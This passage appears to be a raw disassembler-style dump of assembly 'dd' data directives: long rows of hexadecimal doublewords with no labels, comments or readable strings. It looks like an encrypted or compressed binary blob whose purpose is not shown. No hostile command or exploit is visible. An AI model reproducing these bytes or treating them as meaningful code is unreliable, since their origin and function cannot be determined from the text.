86C81B4Fh, 1263CF03h, 4162500h dd 0BAF3CEDCh, 0E80B600Fh, 1F522908h, 80F6D0CAh, 5AD200DCh dd 0E31AD7F3h, 0D801C963h, 0D3031CD4h, 0A98FF2E1h, 8580BCA5h dd 0FFAD2279h, 0CF401E60h, 76FB54Bh, 9A02975Fh, 6018FC78h dd 0E739060Fh, 0C88E2009h, 0D03EA564h, 0DC002808h, 6716E730h dd 620674A0h, 0DDD322E8h, 52600059h, 86922510h, 0D4009B15h dd 2B4185C5h, 0C8AAEFE1h, 0C7C034E8h, 46D57FC3h, 1C622C8h dd 2FC3AFA3h, 0D4FD10DFh, 2000D0D5h, 2A4E7E25h, 1680294h dd 8D6AC0Fh, 0FB4FD3DFh, 17C2890Ah, 0B021E479h, 1818C8F1h dd 0F2A0C001h, 0E178042Eh, 0E85178F3h, 0A7AA30B0h, 6206C411h dd 144D3C00h, 0A425FF01h, 0C0C1E802h, 620E6621h, 0B25C7370h dd 580105E0h, 0C440E388h, 0F6244FAFh, 0BB28A385h, 0A5C5F015h dd 0DA25037Bh, 3057AC6Dh, 1AF7823h, 4D37620Bh, 88D9180Ch dd 62121367h, 0DA004292h, 0F66C843Bh, 8564A08Bh, 91730FDh dd 3FF70411h, 0FC1FD4FCh, 27C02824h, 881B33BBh, 0D42C904Fh dd 0E23A429h, 0C7237E05h, 0A462CFC5h, 964520FAh, 2C005823h dd 36DAD8ACh, 277A3E2h, 0A2655D3Eh, 0C47A8BEh, 1B80714Fh dd 0F6C8ABD9h, 0C2F79D02h, 4B13E4D3h, 5E6C0354h, 7E385CF1h dd 85B57AD0h, 0C9C434A5h, 95704D60h, 1006C707h, 3E00376Ch dd 48BAD7F6h, 3424F0DAh, 468C20BCh, 237F0213h, 678089CAh dd 97440730h, 9A132023h, 4A0A0A96h, 0B4202846h, 99029884h dd 3C36CC98h, 26A108E7h, 0E72DE1C0h, 9011F88Ah, 3DCFEECh dd 9C13C9E2h, 0E03ADB7Bh, 0DAA118D4h, 7FA0881h, 0C19259Fh dd 19D2C6D5h, 28278412h, 0C35EA440h, 9822E453h, 12954614h dd 8C0AE73Ah, 0EE444846h, 0E731E540h, 320278B0h, 82F35851h dd 0D33C48C2h, 29EC63D8h, 7900EF3Dh, 24C1A20Fh, 0F233EAEh dd 7A6D6632h, 3C6E5400h, 0F10021CBh, 0DD25294Bh, 589B58A2h dd 0F31D8C1Fh, 18D8EA4Ch, 51047ACFh, 8C988523h, 1674D522h dd 709F5539h, 97330774h, 0D2DA48C7h, 0E14D0238h, 0A8C1525Fh dd 2745C479h, 0A30BEB70h, 143ACA94h, 0FBB41B8h, 34661120h dd 0B1D3AD86h, 724D543Bh, 0FEDFC400h, 8BF0D802h, 40710027h dd 1BCE7816h, 6706E48Ch, 55AFC47Ah, 4605039h, 7897503Dh dd 25CF0296h, 0C76AC847h, 77C380C0h, 0CE118116h, 0B5E1DC40h dd 0F862BB90h, 0D84F0D0Ah, 0E040F324h, 0DB018A0Ch, 0D94D16B6h dd 28A0417Bh, 0D4112C98h, 490764B0h, 63488E23h, 3CD2D71h dd 61758520h, 0BBE0A303h, 6C753689h, 2D4C800h, 0EA69478h dd 7EFE0034h, 69619BD5h, 8C0B1CC7h, 0DC40F9h, 0F2331D10h dd 8ED5038Ah, 7C314F04h, 51BC8935h, 3D29FB81h, 74233181h dd 82C76D71h, 10514D80h, 9DBC874Eh, 0E4B9A5B3h, 0E61FE203h dd 815C1804h, 9700C67Dh, 0F54A2CF8h, 0D1266B0Dh, 9401C969h dd 308A5BF1h, 1EE8B223h, 81386297h, 189FC1AAh, 1729E0FBh dd 423CCE2h, 9ACFAD70h, 1F7518B4h, 81BE1801h, 0AA948C50h dd 29A72101h, 0B8062C03h, 92758040h, 60A1064Fh, 298FE9BDh dd 35112D42h, 1FC622BAh, 8FFA0D32h, 0BFE0469Eh, 856F72E0h dd 4BD2907h, 3B904FDAh, 66FAA1h, 7A1793A8h, 357FD1DFh dd 0CA043800h, 0F0367009h, 0BAF72CD7h, 55720066h, 6D7C33AEh dd 9FC2EF00h, 0ACDFF810h, 5430146Eh, 97A9480h, 0D33A19E0h dd 0C7014280h, 130043D1h, 41CF86B4h, 0F4049FDBh, 0BB4403A4h dd 0DFB1CBE8h, 0A01F3080h, 0FB020F7Ch, 625E2FBAh, 11506805h dd 0AB100348h, 0D498B06Eh, 514BED80h, 7060E298h, 76266C19h dd 9EA73C72h, 8B041781h, 0F04CF0C8h, 0CA006AECh, 84570EB6h dd 2E70CF97h, 27ABF2h, 550C878Dh, 7C01A53Ah, 798C1949h dd 90DBE9ADh, 72033D9h, 0B33F713Eh, 0A608B1B4h, 50E857B5h dd 42962999h, 21568800h, 0F6A1A88Dh, 1B48301Ah, 0FFD39599h dd 58F1ED00h, 683B3CAFh, 9298E7h, 86415071h, 0F9E022B8h dd 0F05A0B14h, 80EA88ACh, 3D546B67h, 220E9CB7h, 0C6BF08h dd 0F56D05A0h, 0B07042Ch, 0C512DD74h, 91E980C6h, 3D001CEDh dd 4DF4ABD6h, 9203B3h, 393AAF44h, 0BDCB8D86h, 0BA785C1Ch dd 8EB51640h, 0F1E82ADh, 15144A54h, 900C55E7h, 24FAE662h dd 0F35E9400h, 5249809Bh, 149F00FCh, 516C48F4h, 1A70B4ABh dd 65E7EF00h, 0B77153BFh, 0A0700BEh, 0F2110387h, 1C004581h dd 82E57B2h, 0B8B07Ah, 0C388AAA7h, 1BEF4250h, 0F401D83Eh dd 0F386BB00h, 9B517CDAh, 0E4CA0692h, 30A83125h, 2EC23D00h dd 25E22A2h, 2783032Ch, 0BB9BB442h, 993D14A8h, 8D880A04h dd 0B8913981h, 1DDCD33Ch, 0F9852EF5h, 0D9A600FAh, 0DAAE5C1Fh dd 82757674h, 5400FE70h, 0F0627564h, 1E8CA4ACh, 0C340EFC5h dd 0FE162DBBh, 2CEE81A0h, 9D5FD03Eh, 8F41CFECh, 0B2E343DCh dd 40997892h, 3A4D6FF4h, 8600DBC4h, 0B31F7F75h, 6946AFh dd 959A44FDh, 3A617B20h, 0D2E8A60Eh, 121FA058h, 78F1C2h dd 0B0CA0A44h, 3783307Bh, 3243CE8h, 0F301C073h, 4FF02DBCh dd 4A0F1028h, 50401220h, 5666CE93h, 0DA868E1Eh, 0E2964C41h dd 44206338h, 2EF894h, 4F8A2907h, 98A2C1FEh, 49676800h dd 9514B91Fh, 0EF5A0293h, 46634008h, 91DD9840h, 0DA8FE400h dd 0F904D46Bh, 3F060BCDh, 9D564D78h, 95A92B01h, 0FCCC3510h dd 2A48C3B6h, 400C4D49h, 808E40FDh, 8FA700B2h, 26AC4219h dd 8D7C738Ch, 0EFFD7000h, 0C00F6762h, 823E001Fh, 1306464Bh dd 0AE0083F0h, 0A13CBB9Fh, 0FE3356h, 5B976BADh, 557CF821h dd 0CF53EE00h, 9C208F8Ch, 267E95h, 0A1516485h, 0FED21641h dd 0EE08E400h, 0E1FBC115h, 5592001Dh, 0C3D19A75h, 1C9C73F1h dd 0F342700h, 0F7E224h, 9BB74E55h, 646D8F21h, 4CFDE500h dd 6144B051h, 0E74900D7h, 0A4147583h, 5A00AE56h, 21460E37h dd 7C6CF0h, 0FCD8629Ch dd 0B03B1DAFh, 0F4776E00h, 57BA66E8h, 41B90E15h, 9352A3h dd 23101C08h, 0DF0F7DE0h, 23AAF1E4h, 80146B16h, 1EFE4513h dd 404FBB05h, 4B539E96h, 2100F3EBh, 2058D3BDh, 510AA1h dd 0F62CA2BBh, 4E19C3CFh, 0C02BB101h, 4D3B37C4h, 0A60D447h dd 0B7A466h, 6EC50717h, 5C469893h, 0BCE339h, 0AEA97BB8h dd 0FCFE250h, 8004D85Eh, 0F326A700h, 631C4BD0h, 41C0DDD7h dd 0F2971ECEh, 0B3700C8h, 0E0FC3BAFh, 0B201545Eh, 0C3F831AAh dd 28804415h, 0F5C1551Bh, 98170F99h, 0DE135B5Dh, 2CE4B202h dd 52084082h, 7C781A69h, 0B26312DAh, 970FAEB0h, 0CEEEDF00h dd 9D4DE1DDh, 0CA66008Dh, 36F1E351h, 0B9000D6Eh, 2A92E4ECh dd 25D97h, 0AC09CDD5h, 5BED8E8Ah, 66622900h, 0F6938C1Dh dd 54420952h, 7903E098h, 0DF9096A3h, 53007AF2h, 2F9B8A4Eh dd 1EAEE495h, 40A6BB29h, 5E55FBE3h, 77F613Fh, 24342024h dd 38A36B02h, 5408C08Dh, 425E0019h, 3A3BEDBDh, 8ECFDA13h dd 2980F07h, 63C10B8Ch, 8D1188BAh, 93F300B3h, 1484C8DDh dd 0E7005E3Eh, 21FE1DF9h, 4C8685C5h, 0F40062CAh, 0C464E0D8h dd 980990A4h, 687B29BCh, 1C84F2FCh, 0CBB5FE0Eh, 30A5F8AAh dd 4063BCD4h, 0B10034EEh, 0B8C762DDh, 0E2767Fh, 0ECC9AFD2h dd 5E496428h, 0F1732F01h, 9A350FE8h, 4086289Eh, 0FC8A0C60h dd 5D26774Fh, 0E31E9071h, 3B2247C0h, 0B76966B5h, 0A854EC0h dd 0C7B83400h, 0E954649Bh, 48477105h, 2603F8D8h, 4D18BCFFh dd 89811688h, 6D07EC01h, 61390445h, 4C92C0h, 8354A242h dd 0CA0C949Fh, 0CD0450F2h, 612EE15Fh, 0EAE720B0h, 18C90C2h dd 56D6FD9Eh, 0E89D57EAh, 72078C91h, 3AA3D908h, 0FB303E70h dd 0C7023CAEh, 170FA3Eh, 5895626Ch, 60DF8D9Eh, 6B267452h dd 0DB00A876h, 4CEE04E4h, 20AD1252h, 77FE001Bh, 0C2FF3818h dd 0BA020DE4h, 333D633Bh, 1770602Dh, 0E30B0586h, 0C0F8BD24h dd 71D3524h, 0B31E641Ch, 6E17A440h, 60152BB4h, 408EE8C5h dd 58009E3Eh, 48E1B618h, 0BB526Eh, 0A5811985h, 386499CAh dd 191374Ch, 4080CD4Fh, 8051E0DAh, 9CF0E567h, 7D1E0093h dd 0D76AD857h, 1500411Dh, 5887F20Ch, 112B923h, 2F7CB0BEh dd 40BA4782h, 0E1EC80E0h, 1ED81100h, 0D33F6B28h, 0A0DF7EF9h dd 25645B80h, 0F829F085h, 0D3288Eh, 0C3849438h, 0E7006A71h dd 9688F39h, 0B9CCEFh, 0C57CEA96h, 9392BCF1h, 576B4300h dd 0F45C8E22h, 0F5E00EFh, 3BBFCA1h, 700A7D1h, 0D7778AB7h dd 8839A6h, 4D30D228h, 0A8C0A082h, 27006892h, 7880217Ah dd 0CDE77C4h, 9596F8C8h, 4E789D98h, 9F0B137Eh, 22212325h dd 80ABA5B4h, 2CC4B20h, 0D44D3A37h, 0F6E12E00h, 6799C6E5h dd 0E9854417h, 7FA3A200h, 235C311h, 0DEF0DB98h, 28832425h dd 0BCC230B1h, 0F56CBB80h, 0FCF1358Bh, 2D01EA42h, 0CC2C77F1h dd 90852609h, 1BEA006h, 2B44F40h, 256C5831h, 9B302250h dd 180C38C0h, 3869758Ch, 0EC87CD26h, 69DC8D53h, 6163E440h dd 7B0C870Eh, 629DE625h, 7AAD1048h, 0A2F8071Ch, 3DC2BB45h dd 0EC2A2020h, 0ADE0EB99h, 15D00901h, 4801F5A3h, 82342990h dd 2EE1072h, 0FD22D595h, 40582431h, 9C88AC0Eh, 4E6F076Ah dd 703323E5h, 5CDCF928h, 0A9B4531Dh, 4F40BBDFh, 0DD0750C1h dd 0BE0C008Bh, 96E25136h, 9D00996Eh, 0B9940454h, 0B0B48440h dd 0E5381E88h, 789B4BEEh, 9671C80h, 9506153Dh, 0CBCEFF6Fh dd 0B96203EEh, 69EC934Ah, 313B2908h, 909F003Eh, 3CB67D20h dd 30ACFF2Eh, 2833303Fh, 33AE9DB5h, 30183DD7h, 0E5E75A0h dd 2F6B8C00h, 0E86572CFh, 231E09FFh, 0DC8018E4h, 0FBA13263h dd 1B7EC17h, 0E079C033h, 139BFEBh, 0FF7DA20h, 0FC011C4Dh dd 2C1F3ACBh, 242E71FAh, 0F84A95h, 0FFF39073h, 0F6BA533Eh dd 78170303h, 49C0DD6Bh, 226028CAh, 0B300CA1Fh, 995FEB1Eh dd 22C7E8h, 0FA7BADD2h, 0C81474EAh, 3CF02002h, 81B1A0A4h dd 54D1D49Ch, 43002472h, 0D2C8FD3Ah, 412AB57Ch, 723F8404h dd 0C2EC8730h, 84F7DB6Ah, 3780E0BAh, 8B738A98h, 0D75C00F4h dd 0AA0C3DC0h, 0FF008FB3h, 0B068E0EDh, 57F6719h, 0D5F78382h dd 72C882AEh, 5600F354h, 32C69E10h, 943500F8h, 748AD0E1h dd 69002548h, 0A9627134h, 0B48256A2h, 0F5060090h, 3BE596E8h dd 0B4AAA1C0h, 6CC0290h, 79DC89A9h, 0EC80E897h, 3E001C87h dd 4472B6F3h, 4B7D3A7Ah, 43A41CC4h, 9F115DF2h, 0ED53D680h dd 0A0965600h, 367D326Bh, 831F0699h, 30658FC4h, 0B4878B00h dd 7397D838h, 190B6014h, 0F80CB7FBh, 0A62D5124h, 0EB64100h dd 0C2CE70h, 0A57D1049h, 0F0F35E8Eh, 0B80F5F00h, 0C13A52FFh dd 44A04803h, 891CB707h, 0E554A286h, 4EC508C0h, 8B99053Ah dd 7D9847h, 0CBDB7E6Fh, 41112885h, 50779Bh, 36EA275Dh dd 62F0AE81h, 34B0A800h, 58BB08AAh, 1F183E4Ah, 9BA9EB81h dd 7CCA5375h, 78A44C1Ch, 0BBFA8F00h, 7DB5AA3Ah, 82E400F4h dd 4839CB0Fh, 700098E6h, 0B0A75C73h, 0EE64A68Eh, 3BCC00D6h dd 0EF169E21h, 7B3D67E7h, 0FC5C967Ch, 4E08B20Fh, 6240DD57h dd 6EAA8F1Bh, 2F6EADFh, 76A434BDh, 30E0AB5Dh, 2600172Fh dd 45CFC1F9h, 7FCD40h, 6E19E2FFh, 6809C210h, 4CA03C58h dd 940A28B8h, 0B70A2B98h, 94F17B75h, 0A5746B80h, 0C9533Dh dd 0EF07093Ch, 3918D0ACh, 910462FCh, 5E47B91Ah, 377901C0h dd 8BC048EDh, 48853207h, 8257A0BAh, 1216DEE7h, 681F24D7h dd 91BC9680h, 0E046690h, 2B33A9CFh, 72FAE1A0h, 0BD00374Ah dd 3D4B85F1h, 7C09CBh, 0D62F6731h, 0CFE9CD24h, 711648h dd 84B64773h, 63F59Ah, 2045C6D2h, 0AA0B2CB5h, 0BE584200h dd 40317664h, 727D07CBh, 222D99DCh, 27E03A1Ch, 0DE008CA1h dd 5FC7DF90h, 79C6F8h, 85A5506Bh, 83FFAA94h, 40109090h dd 4C1304F1h, 208420BDh, 6919520Ch, 0FF10770Bh, 0AA2CD8h dd 0CEB98460h, 26B1E186h, 9007C830h, 138089ADh, 1CFC37D9h dd 55B7407Eh, 4364EA08h, 0A36D530Ah, 700BC52h, 54AF6FD6h dd 4C1C00C1h, 0CEC8BCC4h, 623F9431h, 4BC98F77h, 258EA037h dd 0C0FC63DCh, 4EC25DE8h, 872E5FB1h, 75811092h, 0D243240Eh dd 4F0F9C20h, 21B01ECCh, 60EDFC89h, 0E6A298h, 0DE9C74A1h dd 0EB8F5AF8h, 842C903h, 0E8067B9Eh, 22364Dh, 89DF5793h dd 20BCBE28h, 584CFD07h, 0C1307EBAh, 627B01B3h, 404380A5h dd 30EDFC0h, 0D3798A00h, 29DB48C7h, 27990130h, 5063DDF8h dd 0BAEDCC9Dh, 0B8A92F00h, 7CE2F27Dh, 3ACA090Eh, 9800E445h dd 0F0746EC0h, 7AB0A64Ch, 10C3202Eh, 43FB813Fh, 97D94BEAh dd 634F8C4h, 6E513F65h, 3A00E8CFh, 137B9B5Fh, 3E23B5h dd 25AAB4D1h, 91C1CDF4h, 3A00C2F4h, 0DF8DD9BDh, 5F0FEDBh dd 0EC73A1EFh, 7B1BC056h, 0AB4AE45Bh, 4433C00h, 7EA7718h dd 34D247E8h, 70818705h, 6B3DF6A1h, 0BECC081Fh, 0B200E868h dd 0E99924F4h, 0D4A6E2h, 62470E37h, 0D6B7FE54h, 0C9291D01h dd 4F5C36E1h, 0B5BAB087h, 26421075h, 0AE1C8279h, 98DE1E64h dd 0ADE200FCh, 0B4DD4B46h, 0E17029h, 0B1429734h, 5513B69Eh dd 9AF2500h, 616E8599h, 0BF3407ECh, 90C13CD3h, 0EA4DD62Eh dd 0C7D7F817h, 0F6F1F700h, 0E7404EFh, 2A17D54h, 36F200D3h dd 0E4903928h, 4D7AA203h, 0D066C4C6h, 26D3011h, 6F89C90Fh dd 0C041385Ch, 5DA07443h dd 0CD0309EAh, 812E77B1h, 0B4CC7FECh, 0BB0E0014h, 36672420h dd 2598A207h, 0D3006A94h, 5C4727CDh, 6E003718h, 0EDC11B3Eh dd 417E4F71h, 25000498h, 96BB3B63h, 285279h, 81429BCh dd 0DCF8DA87h, 0C4D06251h, 9C0F9BB3h, 414AFE7Bh, 65FB8A20h dd 8E00883Ch, 0AE909E6h, 7C017912h, 8178A3C8h, 60E6AAA0h dd 6DE61Fh, 2A9A98B0h, 0C4658376h, 0A2A5EE04h, 0F0A0F58Bh dd 0BABD2615h, 5218004h, 0D076F2BFh, 0D51234B6h, 0BA4FA800h dd 0FBFDD723h, 0E8822880h, 735C11E1h, 0CB54BF78h, 8C008698h dd 1B9DBEF6h, 0EF442h, 3E56B871h, 342A91BDh, 70820F00h dd 0C12EEA5Fh, 263B00D6h, 0D9880914h, 7CA6FAF7h, 4D006898h dd 44D5944Fh, 75DF2Fh, 0DD6F458Eh, 0C779E11h, 0E781F700h dd 2CA6CBB5h, 0D89867h, 9ACA8F07h, 1421D69h, 41732500h dd 1FE0A4FAh, 0E37F00BBh, 644BFE3Ch, 2C143702h, 788A72Ah dd 9ADF20D5h, 0EA853A40h, 0E384A863h, 0B430C812h, 32084D18h dd 0B97D00DDh, 5CD5AAEFh, 0C401D087h, 0F8A8BE9Fh, 202C98A5h dd 0E3C8DE0Dh, 0B50AF058h, 19DC3205h, 0A0C18FD2h, 8F0DEE2h dd 0CC400A76h, 4E8DADDh, 0A03A8BB3h, 4D0830ECh, 40BFA077h dd 80211727h, 0CA3EC4EEh, 0B609748Bh, 52610489h, 0C29F3EA0h dd 8078D730h, 0E73E7675h, 0E6E00A1h, 2D90C535h, 0EBF50081h dd 4D8AC2F9h, 0C70195A7h, 0DAE9041Ch, 0CE3AD2Fh, 90DB8471h dd 0C6B863C8h, 3AEC4F38h, 0A09203EBh, 95D9CC4h, 0B2DB8A28h dd 38278100h, 0F3F89D7Fh, 49DA7E30h, 14F8E65Fh, 0ACD15307h dd 4FEA1680h, 8B00FA9Eh, 0C1D7D48Eh, 778686Fh, 0C5CCC896h dd 0D0D03DC4h, 0F30C956Ch, 405F137Dh, 87660ADh, 15E32BA3h dd 3E60CD0Bh, 0F81820F2h, 294F02Fh, 0B6777847h, 0E840E7BDh dd 3F38A044h, 0F051A908h, 0C87A0201h, 0D09C687Eh, 251139h dd 0CE44F46h, 1E1A81BBh, 403817FCh, 7F3420ACh, 620F0DDDh dd 3FC2C107h, 0FA0803Ch, 8F6068B2h, 461F00D3h, 6C920B85h dd 200D165h, 0D570F763h, 2E204E8h, 0C9D2C5AFh, 0C849F175h dd 0D9BF6048h, 3CDB593Fh, 0AE7780EBh, 5F3F9F3Eh, 2450F076h dd 2F39370h, 546EED5Dh, 0E468B88Ch, 7495B000h, 196A0276h dd 0CDD0A89h, 9984432h, 407A29F3h, 0A9FCF12h, 654ED4B4h dd 82DB195Eh, 0D8A06CEFh, 0EC456E21h, 0C8753625h, 0B8F85704h dd 415E003Bh, 2CEE977Dh, 2B0E47F5h, 0E31278E2h, 0E87559ECh dd 60A317h, 8014B909h, 88819B2Dh, 80A16A39h, 0ABD7D542h dd 83138Ah, 0EEF6D1Eh, 0D024B292h, 80CA48h, 0BAE4DAAAh dd 0EACCC9h, 38452F2Dh, 46C21B6Ch, 88B9FB00h, 49305B1Fh dd 11600A3Ah, 30DB5036h, 5CE38730h, 0ADBE9E0Fh, 0BD8E97h dd 0BC7C0F3Ah, 0B7520EDCh, 84A0F99Dh, 3148DF0Ah, 0B3D4F300h dd 11368140h, 0E63E0097h, 0D1D2C39Dh, 0F3057B24h, 0E10B4EF7h dd 0C2B0AC80h, 14F63C42h, 7FE2FA80h, 37BE02FDh, 7CC8D00h dd 0EE74887h, 0C1CE00C6h, 7DFD4B35h, 0FC0025DFh, 0C2FB498Bh dd 27DB44h, 9626139Eh, 9ACF9743h, 0EA1588E4h, 0E204A166h dd 4148884h, 0BB81F87Dh, 4910AA60h, 7A709110h, 7C2E413h dd 0D3172B1Ah, 82042035h, 0F31DC0B4h, 87184666h, 88BFB729h dd 60893BA0h, 8F44F708h, 0FA22845Bh, 118C423Ch, 0BF218E13h dd 903A4F08h, 8A798478h, 27428348h, 2124243Eh, 6712888Fh dd 89424D10h, 44730890h, 22848B22h, 3C424D3Bh, 2F10EA21h dd 489B5B84h, 1CD742E8h, 1F213324h, 11541290h, 0D722FA39h dd 8E4D22BEh, 5584102Eh, 80FB4818h, 3B9F0D49h, 0D900A2B8h dd 97DE82FEh, 0FA1D41A4h, 42F31F91h, 0CA92C0C4h, 7BDCA030h dd 9BDFA800h, 64D16103h, 0B980EABh, 0B2A0798Eh, 215AF98Fh dd 84ED9207h, 1972F86Ch, 6A2AC03Bh, 0C4D5004Dh, 2EA71FCDh dd 707FEB91h, 37B85B00h, 988039E1h, 608D00B2h, 14EC6C47h dd 2B00DD87h, 5EF26218h, 0C23F81h, 513EF11Ch, 7E79CFD0h dd 30233900h, 4AB304EFh, 9BE457h, 0BBBCCC41h, 228FA097h dd 11719200h, 45932776h, 2BE71291h, 0C65C4043h, 0CF6ACB37h dd 5F986400h, 0C47144FAh, 8E54003Dh, 8CA90896h, 1303C29Ch dd 26DC2C60h, 0E5B4A81Dh, 0C117933h, 9615C76Ah, 13902A68h dd 3DCE9718h, 88B12068h, 0A6003679h, 85331E8Fh, 0DF7FA8h dd 0D9C1FD4h, 0BB890B8Ah, 0B5477E00h, 2E05B287h, 512C00BFh dd 0D1866F2Fh, 0A100773Ah, 3D129354h, 0E9CF4h, 4D836089h dd 0BDC738BBh, 0A51AA0A0h, 4F92490Fh, 2B66096h, 0F11F9Dh dd 554CAD06h, 0BBAF7FCDh, 43EF507h, 42C5D60Dh, 0E41A400h dd 3D39F69h, 94E250F6h, 0D190338Bh, 0BA00190Fh, 3CCFC432h dd 3ADB3E6h, 2E25CB50h, 90B76907h, 665DD92Bh, 32843450h dd 6E06CF00h, 0EDC1EBD5h, 56BB1EACh, 75C8120h, 0FC24AB4Fh dd 0F3077D8Eh, 0CF0427B9h, 6082F632h, 0D12024h, 0E492FEAh dd 6906F2A6h, 75186400h, 42A598E1h, 8C4F01F8h, 6C7C76C6h dd 0AB33EC5Fh, 0AD7F2D00h, 650797DDh, 0B5620137h, 35AE46EBh dd 594C20E0h, 0F5A01100h, 0B742165Dh, 0CCF009Eh, 89E170C5h dd 103B81D1h, 0DEB4891Fh, 0CB7800F7h, 9086A2CEh, 6B9F0F50h dd 0A5007CBBh, 15143335h, 0BE3D2200h, 0AB3B72F6h, 661100E2h dd 42B2BD10h, 32009430h, 398AE790h, 11D743Dh, 34EB407Bh dd 31DF2C8Eh, 20CDC19Ch, 68009153h, 39D34CB1h, 70FF2E21h dd 2FBF0EA8h, 1B6052A2h, 0C1DB0FA1h, 0B7857800h, 6A6CAA8Ah dd 209D6040h, 0B2809CF0h, 244DC001h, 0FDEE749Eh, 75EBEF4h dd 259B96C9h, 0E963F0D0h, 5F304E8Eh, 680B389Eh, 0F64B00B8h dd 64DCECC4h, 7B0F70ACh, 476C0CBAh, 0EF50E990h, 980D185h dd 0CD8C5181h, 0FFF880Eh, 41FF6DF1h, 0C80839F2h, 29D0CC27h dd 5C10A804h, 0D8809E32h, 70B5922h, 0DC95DE78h, 0DDCF4F15h dd 0F0B53280h, 4B01647Bh, 0C70FECC2h, 4C304D9Ah, 0A9510001h dd 7128A87Ah, 2702B85Eh, 0DFB77EF4h, 6C144083h, 1B3E02ADh dd 0DEFA09D8h, 4B8D480h, 2C04BD61h, 0E3E48E71h, 0FADC8B87h dd 47DC007Bh, 1633BFFh, 0B0003F1h, 0D9B32BB9h, 24AF923Fh dd 214E159h, 0F84CA54Dh, 2EA71018h, 3EFD61C4h, 6F04A10Ch dd 1B0E585Ah, 43794871h, 9353C72Fh, 28CEC0BFh, 855200C2h dd 0E9302C27h, 0C024BFFh, 2BE80EA8h, 500860CAh, 0D2EAEDh dd 9157AEBCh, 43B45A19h, 891CE500h, 2966AF0Bh, 601207EAh dd 605176B9h, 0C258D56Ah, 20C7ED00h, 0E7DD77FCh, 87850F94h dd 9360E67Ah, 8FCE861Ch, 34FBE200h, 4F6B71FCh, 94B4004Ah dd 0DA0D80FDh, 9498CDA8h, 77C1B700h, 0E1D3E78Ch, 2C7A009Ah dd 226292CAh, 99018E55h, 47AF2474h, 0BC408926h, 0B00B4130h dd 0B6860104h, 739A58A2h, 0E81120C8h, 28479505h, 0F4003CA0h dd 682EFC4Ch, 3B7004h, 0A52DBD0Fh, 72C774D7h, 0B6FBC502h dd 80DE4583h, 106129BCh, 0D7A70351h, 0DD383975h, 0DC83E4A0h dd 0DF368800h, 7F9C72BBh, 0A4A50093h, 46FF74B0h, 2E748564h dd 480FCA1Fh, 0F2C28A80h, 738D5Dh, 6452265Eh, 0BE608C31h dd 0EBBF5700h, 7328685h, 0D83F00A1h, 142546C1h, 0FE001702h dd 499A2060h, 7137336h, 0F33304A8h, 9CAD0D4h, 0A401D0E4h dd 986DF41Dh, 99603585h, 0A972009Dh, 6FF07094h, 8EFC1CAAh dd 2D00D9B0h, 0FF5687E4h, 0EA9309h, 0B74A83A5h, 4CBDFD39h dd 91DE6800h, 0D40766EEh dd 720A0067h, 4EF7831Ch, 0C5787B0Eh, 353AAD00h, 423EE043h dd 927196h, 0C92EEA5Dh, 0A53761F0h, 0A89CFA0Fh, 0C8620AC8h dd 4056540Fh, 0BFEEE4D6h, 46E500F6h, 0A5D1A167h, 0DD018C63h dd 0A0331003h, 0C6C0DA3Dh, 0B1C53C75h, 2D2CFF80h, 2AB92476h dd 0A10CD801h, 29D281ADh, 0D13990C3h, 0EB130041h, 6AFF8F51h dd 1009A6E1h, 1058EDC7h, 4AF6B6Ch, 38BC2BEh, 0F018C072h dd 0E6001E2Bh, 269FD5ECh, 0F1615CEh, 84399285h, 0D854A8A0h dd 0BC00D124h, 0F37849B5h, 70F12C61h, 92CB079h, 4BF27A41h dd 0C7DEC080h, 50AD243h, 0F056551Fh, 2F7A5B00h, 1F86EA4h dd 4B8930D9h, 0F87D53C5h, 0E900F0B2h, 681124B5h, 1659CDDh dd 4CA44D6Bh, 0FCF20450h, 0F10042F5h, 91C0A862h, 0B8A196h dd 6980188h, 9E2FE5C7h, 0EFD91300h, 23CEF3A0h, 3DE00EBh dd 0CF0A687Dh, 0E200B8C6h, 0DD1E08A8h, 581F49h, 96A76EEAh dd 1F0295Eh, 64326263h, 0C35C909Bh, 0CC525051h, 61F21E65h dd 1C300098h, 0A66C744Fh, 0C13ACC1Eh, 0F6000EAEh, 0D0AA3941h dd 2C5E1C75h, 55A2C05Dh, 0FD342585h, 0A68D4C3Eh, 0EB051BA7h dd 0CC422F73h, 16A4D98Bh, 9C5720h, 0C0FB6E0Eh, 6C35A4E6h dd 631C3B79h, 5C164FCh, 0CE2F939Fh, 0D27F41C2h, 1EAF1C70h dd 408F2865h, 444090E4h, 46007F55h, 756B99B5h, 0E0A9A4h dd 0D175B72h, 0DA23BC3Dh, 2C09383Bh, 8300D2EFh, 8C96360Eh dd 5C7F0078h, 0D5067B7Dh, 0A476C6F6h, 551C2500h, 50D8F803h dd 0C43E00DAh, 725A1B4Eh, 417EAE1Fh, 0A4B4151Eh, 0FC3CA00h dd 0ADB923h, 98FAD2BEh, 8D210587h, 0A40AF705h, 0E580D8EBh dd 1A1600Dh, 0C55097D7h, 70F94431h, 57033BD0h, 99AFDBA2h dd 617190C9h, 3360002Fh, 0EA8C58A7h, 0FB000337h, 0E4F4BA42h dd 9F4628h, 0C4FECC41h, 2CB69476h, 71810D00h, 0F154ED07h dd 0AEF700C7h, 709FC004h, 0DA059CE7h, 982C0D1Bh, 4CBE5480h dd 0DC9E5817h, 0A4AE540Fh, 0B978EE20h, 0CCA090F5h, 0BB078742h dd 0EB149258h, 9E8038C5h, 0ACE7BEh, 18F32A67h, 30FFC4A8h dd 7AC5F400h, 65981BC2h, 0C60501BDh, 120F7C45h, 23E0FEDCh dd 79032E5Ah, 0F9CC37BAh, 53CAA0C9h, 0A7C2039Ah, 8E8C33B7h dd 7A58A8C8h, 861E18F0h, 0C0436355h, 0B085CE9Dh, 9D59A76h dd 7E39A8D9h, 2CE1E401h, 5B6E60DBh, 5E6E4A0Eh, 17001D6Fh dd 0AD48F994h, 6945248Ah, 0DCAE0352h, 0C9F8118Ch, 0E500073Eh dd 0EC50845Ah, 4835136Dh, 1008451h, 0CD1BB315h, 0D200A0B4h dd 9160ED90h, 0FED526B6h, 967A1D63h, 954C0BCh, 0B9DC085Bh dd 0A1711D00h, 0CA99BB79h, 43F20061h, 0EF5EE23Bh, 9780DCBAh dd 0C029427Dh, 13C7C415h, 68C35C66h, 0CBDF5100h, 9F96039Dh dd 7DE303Fh, 91624AEEh, 4754002Bh, 0ADD295h, 852E344Dh dd 32A2EA89h, 0CF159F1Fh, 7FD96700h, 73697h, 0D7F1C7F9h dd 0EBB7D260h, 4D328D00h, 0E8C27B4Bh, 0CEA901D3h, 1D7A28ABh dd 66D280A3h, 5C052A92h, 0E5F063h, 0D9200D07h, 0D29B89BFh dd 1C43A103h, 0B83D0549h, 0BFF279Ch, 7516181Fh, 3100D00Eh dd 